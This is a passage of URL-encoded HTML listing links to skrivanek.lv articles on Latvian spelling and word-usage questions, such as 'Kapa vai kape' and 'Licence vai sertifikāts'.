F%22%3EIzp%C5%ABris%20vai%20izsp%C5%ABris%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Firet-pret-nomat%2F%22%3E%C4%AAr%C4%93t%20vai%20nom%C4%81t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fjaucejkrans-pret-maisitajkrans%2F%22%3EJauc%C4%93jkr%C4%81ns%20vai%20mais%C4%ABt%C4%81jkr%C4%81ns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fjaatdzist-vai-jaatzist%2F%22%3EJ%C4%81atdz%C4%ABst%20vai%20j%C4%81atz%C4%ABst%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fjanis-rainis-pret-rainis%2F%22%3EJ%C4%81nis%20Rainis%20vai%20Rainis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fjeb-vai-jebsu%2F%22%3EJeb%20vai%20jeb%C5%A1u%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fjeruzaleme-vai-jeruzaleme%2F%22%3EJeruzaleme%20vai%20Jeruz%C4%81leme%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fjutigs-pret-jutigs%2F%22%3EJut%C4%ABgs%20vai%20j%C5%ABt%C4%ABgs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fjutubers-un-strimeris-vai-youtube-satura-veidotajs-un-straumetajs%2F%22%3EJ%C5%ABt%C5%ABbers%20un%20str%C4%ABmeris%20vai%20Youtube%20satura%20veidot%C4%81js%20un%20straum%C4%93t%C4%81js%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkajennas-pret-kajenas-pret-kajenas-pret-kaijenas-pipari%2F%22%3EKajennas%2C%20Kajenas%2C%20Kaj%C4%93nas%20vai%20Kaij%C4%93nas%20pipari%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkakadu-vai-kakadu%2F%22%3EKakadu%20vai%20kakad%C5%AB%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkolagens-vai-kalogens%2F%22%3EKalog%C4%93ns%20vai%20kolag%C4%93ns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fjanim-klints-pret-janim-klintij-pret-janim-klintim%2F%22%3EKam%20adres%C4%93sim%20s%C5%ABt%C4%ABjumu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkapa-pret-kape%2F%22%3EKapa%20vai%20kape%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkaravirs-pret-kareivis%2F%22%3EKarav%C4%ABrs%20un%20kareivis%20%E2%80%93%20viens%20un%20tas%20pats%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkarbons-pret-ogleklis%2F%22%3EKarbons%20vai%20ogleklis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkarjera%2F%22%3EKarjera%20starptautiskaj%C4%81%20valodu%20uz%C5%86%C4%93mum%C4%81%20Skrivanek%20Baltic%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkarjers-pret-karjera%2F%22%3EKarjers%20vai%20karjera%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkarnevals-pret-karnivals%2F%22%3EKarnev%C4%81ls%20vai%20karniv%C4%81ls%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkarsta-temperatura-vai-augsta-temperatura%2F%22%3EKarsta%20vai%20augsta%20temperat%C5%ABra%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkartite-pret-kartina%2F%22%3EKart%C4%ABte%20vai%20karti%C5%86a%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fakuzativs%2F%22%3EKas%20ir%20akuzat%C4%ABvs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flimlente-pret-liplente%2F%22%3EKas%20ir%20l%C4%ABmlente%20un%20kas%20%E2%80%93%20l%C4%ABplente%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkas-ir-saulgriezi%2F%22%3EKas%20ir%20saulgrie%C5%BEi%20jeb%20solst%C4%ABcija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fziemassvetki-pret-ziemas-saulgriezi%2F%22%3EKas%20ir%20Ziemassv%C4%93tki%2C%20kas%20%E2%80%93%20ziemas%20saulgrie%C5%BEi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkastana-pret-kastanis%2F%22%3EKasta%C5%86a%20vai%20kastanis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fjautajumus-kurus-jarisina-pret-jautajumus-kuri-jarisina%2F%22%3EK%C4%81%20j%C4%81s%C4%81k%20pal%C4%ABgteikums%20%E2%80%93%20%E2%80%9Ekuri%20j%C4%81risina%E2%80%9D%20vai%20%E2%80%9Ekurus%20j%C4%81risina%E2%80%9D%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpareizi-atslegvardi-atslega-uz-izdosanos%2F%22%3EK%C4%81%20pareizi%20mekl%C4%93t%20vajadz%C4%ABgo%20Google%20un%20citos%20mekl%C4%93t%C4%81jos%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkapnes-vai-trepes%2F%22%3EK%C4%81pnes%20vai%20trepes%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpaldies-janim%2F%22%3EK%C4%81%20rakst%C4%ABsim%3A%20paldies%2C%20J%C4%81nim%20vai%20paldies%20J%C4%81nim%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fka-uzrunat-cilvekus-ar-diviem-vardiem%2F%22%3EK%C4%81%20uzrun%C4%81t%20cilv%C4%93kus%20ar%20diviem%20v%C4%81rdiem%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fka-vai-neka%2F%22%3EK%C4%81%20vai%20nek%C4%81%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fk-barona-iela-pret-kr-barona-iela%2F%22%3EK.%20Barona%20iela%20vai%20Kr.%20Barona%20iela%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkekss-vai-kekss%2F%22%3EKekss%20vai%20k%C4%93kss%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkijiva-vai-kijeva%2F%22%3EKijiva%20vai%20Kijeva%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkinoja-pret-kvinoja%2F%22%3EKinoja%20vai%20kvinoja%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fklaviatura-vai-tastatura%2F%22%3EKlaviat%C5%ABra%20vai%20tastat%C5%ABra%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkoeficients-vai-koeficents%2F%22%3EKoeficients%20vai%20koeficents%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkoktelis-pret-kokteilis%2F%22%3EKokt%C4%93lis%20vai%20kokteilis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkolikvijs-pret-kolokvijs%2F%22%3EKolikvijs%20vai%20kolokvijs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkolofonijs-vai-kalifonijs-vai-kalifornijs%2F%22%3EKolofonijs%20vai%20kalifonijs%20vai%20kalifornijs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkolorado-vabole-vai-kolorado-vabole%2F%22%3EKolor%C4%81do%20vai%20Kolorado%20vabole%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkomandants-vai-komendants%2F%22%3EKomandants%20vai%20komendants%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkombinezons-pret-kombinzons%2F%22%3EKombinezons%20vai%20kombinzons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkomponente-pret-komponents%2F%22%3EKomponentes%20vai%20komponenti%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkondicionieris-pret-kondicionetajs%2F%22%3EKondicionieris%20vai%20kondicion%C4%93t%C4%81js%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkonditoreja-vai-konditorija%2F%22%3EKonditoreja%20vai%20konditorija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkonsilijs%2F%22%3EKonsilijs%20vai%20kons%C4%ABlijs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkontrobass-vai-kontrabass%2F%22%3EKontrobass%20vai%20kotrabass%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkoordinata-vai-koordinate%2F%22%3EKoordin%C4%81ta%20vai%20koordin%C4%81te%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkoronoviruss-pret-koronaviruss-pret-koronviruss%2F%22%3EKoronov%C4%ABruss%2C%20koronav%C4%ABruss%20vai%20koronv%C4%ABruss%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkrembrule-pret-krems-brule-pret-brile-krems%2F%22%3EKrembrul%C4%93%20vai%20Kr%C4%93ms%20brul%C4%93%20vai%20Bril%C4%93%20kr%C4%93ms%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkrems-pret-krems%2F%22%3EKrems%20vai%20kr%C4%93ms%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkrokodils-pret-krokodilis-pret-krokodils%2F%22%3EKrokodils%2C%20krokod%C4%ABlis%20vai%20krokod%C4%ABls%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2F10-00-lidz-12-30%2F%22%3EKura%20z%C4%ABme%20j%C4%81izv%C4%93las%2C%20nor%C4%81dot%20laika%20nogriezni%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkvadracikls-pret-kvadricikls-pret-kvadrocikls%2F%22%3EKvadracikls%2C%20kvadricikls%20vai%20kvadrocikls%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fkvadrobers-vai-kvadroberis%2F%22%3EKvadrobers%20vai%20kvadroberis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flabdien-agij-vai-labdien-agija-vai-labdien-agij%2F%22%3ELabdien%2C%20Agij%20vai%20Labdien%2C%20Agija%2C%20vai%20Labdien%2C%20Agij%21%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flaikus-pret-laicigi%2F%22%3ELaikus%20vai%20laic%C4%ABgi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flaima-slimiba-vai-laimas-slimiba%2F%22%3ELaima%20vai%20Laimas%20slim%C4%ABba%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flaimigu-jauno-gadu-vai-jauno-gadu-vai-jaungadu%2F%22%3ELaim%C4%ABgu%20jauno%20gadu%21%20%2F%20Laim%C4%ABgu%20Jauno%20gadu%21%20%2F%20Laim%C4%ABgu%20Jaungadu%21%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flai-nesalustu-pret-lai-nesaluztu%2F%22%3ELai%20nesal%C5%ABstu%20vai%20lai%20nesal%C5%ABztu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flatte-macchiato-pret-late-makiato-pret-late-makjato%2F%22%3ELatte%20macchiato%2C%20late%20makiato%20vai%20late%20makjato%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flatviesu-valoda%2F%22%3Elatvie%C5%A1u%20valoda%20vai%20Latvie%C5%A1u%20valoda%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fgerbonis%2F%22%3ELatvijas%20%C4%A3%C4%93rbonis%20vai%20%C4%A3erbonis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flauliba-pret-laulibas%2F%22%3ELaul%C4%ABba%20vai%20laul%C4%ABbas%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flekt%2F%22%3ELekt%20vai%20l%C4%93kt%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flente-pret-lenta%2F%22%3ELente%20vai%20lenta%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fleta-cena-pret-zema-cena%2F%22%3EL%C4%93ta%20cena%20vai%20zema%20cena%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flicence%2F%22%3ELicence%20vai%20licenze%2C%20vai%20license%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flicence-pret-sertifikats%2F%22%3ELicence%20vai%20sertifik%C4%81ts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flielo-datu-apstradatajs-vai-datavors-vai-lieldatnieks%2F%22%3ELielo%20datu%20apstr%C4%81d%C4%81t%C4%81js%20vai%20datavors%20vai%20lieldatnieks%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flietot-pret-pielietot%2F%22%3ELietot%20vai%20pielietot%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flikums-vai-likumdosana%2F%22%3ELikums%20vai%20likumdo%C5%A1ana%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flinks-vai-saite%2F%22%3ELinks%20vai%20saite%3F%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flices-vai-licijas%2F%22%3EL%C4%AB%C4%8Des%20vai%20l%C4%AB%C4%8Dijas%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fligo-svetki-pret-jani%2F%22%3EL%C4%ABgo%20sv%C4%93tki%20vai%20J%C4%81%C5%86i%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Flinija-pret-stripa-pret-svitra%2F%22%3EL%C4%ABnija%20vai%20Str%C4%ABpa%2C%20vai%20Sv%C4%ABtra%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Floterija-vai-lotereja%2F%22%3ELotereja%20vai%20loterija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fluksafors-vai-luksofors%2F%22%3ELuksafors%20vai%20luksofors%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fluksus-viesnica-pret-luksusa-viesnica%2F%22%3ELuksus%20viesn%C4%ABca%20vai%20luksusa%20viesn%C4%ABca%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fluteriska-baznica-vai-luteranu-baznica%2F%22%3ELuterisk%C4%81%20bazn%C4%ABca%20vai%20luter%C4%81%C5%86u%20bazn%C4%ABca%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmadracis-pret-matracis%2F%22%3EMadracis%20vai%20matracis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmagnetafons-pret-magnetofons%2F%22%3EMagnetafons%20vai%20magnetofons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmagistratura-vai-magistrantura%2F%22%3EMa%C4%A3istrat%C5%ABra%20vai%20ma%C4%A3istrant%C5%ABra%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmaljorka-pret-malorka%2F%22%3EMaljorka%20vai%20Ma%C4%BCorka%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmanikens-pret-manekens%2F%22%3EManikens%20vai%20manekens%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fman-interese-pret-mani-interese%2F%22%3EMan%20interes%C4%93%20vai%20mani%20interes%C4%93%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fman-ir-tas-gods-vai-man-ir-gods%2F%22%3EMan%20ir%20tas%20gods%20vai%20man%20ir%20gods%3F%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmannas-putra-pret-manna-putra%2F%22%3EMannas%20putra%20vai%20mann%C4%81%20putra%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmantu-glabatava-pret-mantu-glabatuve%2F%22%3EMantu%20glab%C4%81tava%20vai%20glab%C4%81tuve%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmati-lust-pret-mati-luzt%2F%22%3EMati%20l%C5%ABst%20vai%20mati%20l%C5%ABzt%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmatrica-vai-matrice%2F%22%3EMatrica%20vai%20matrice%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmazgatava-pret-mazgatuve%2F%22%3EMazg%C4%81tava%20vai%20mazg%C4%81tuve%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmajas-darbs-pret-majasdarbs%2F%22%3EM%C4%81jas%20darbs%20vai%20m%C4%81jasdarbs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmajas-lapa-pret-majaslapa%2F%22%3EM%C4%81jaslapa%20vai%20m%C4%81jas%20lapa%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmajaslapa-vai-timekla-vietne%2F%22%3EM%C4%81jaslapa%20vai%20t%C4%ABmek%C4%BCa%20vietne%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmajaslapa-pret-timeklvietne%2F%22%3EM%C4%81jaslapa%20vai%20t%C4%ABmek%C4%BCvietne%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmedmasa-masina-vai-masa%2F%22%3EMedm%C4%81sa%2C%20m%C4%81si%C5%86a%20vai%20m%C4%81sa%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmeistarklase-pret-meisterklase%2F%22%3EMeistarklase%20vai%20meisterklase%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmes-gaidam-pret-mes-gaidam%2F%22%3EM%C4%93s%20gaidam%20vai%20m%C4%93s%20gaid%C4%81m%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmestule-pret-spams-pret-surogatpasts%2F%22%3EM%C4%93stule%2C%20Spams%20vai%20Surog%C4%81tpasts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmikrafons-pret-mikrofons%2F%22%3EMikrafons%20vai%20mikrofons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmiljards-vai-miljards-vai-biljons%2F%22%3EMiljards%2C%20mi%C4%BCjards%20vai%20biljons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fminerali-pret-minerali%2F%22%3EMiner%C4%81li%20vai%20miner%C4%81%C4%BCi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmiskaste-pret-atkritumu-spainis%2F%22%3EMiskaste%20vai%20atkritumu%20spainis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmoderators%2F%22%3EModerators%20vai%20moder%C4%81tors%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmontessori-pret-montesori%2F%22%3EMontessori%20vai%20Montesori%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmorzas-abece-vai-morzes-abece%2F%22%3EMorzas%20%C4%81bece%20vai%20Morzes%20%C4%81bece%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fmostos-pret-mozos%2F%22%3EMostos%20vai%20mo%C5%BEos%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D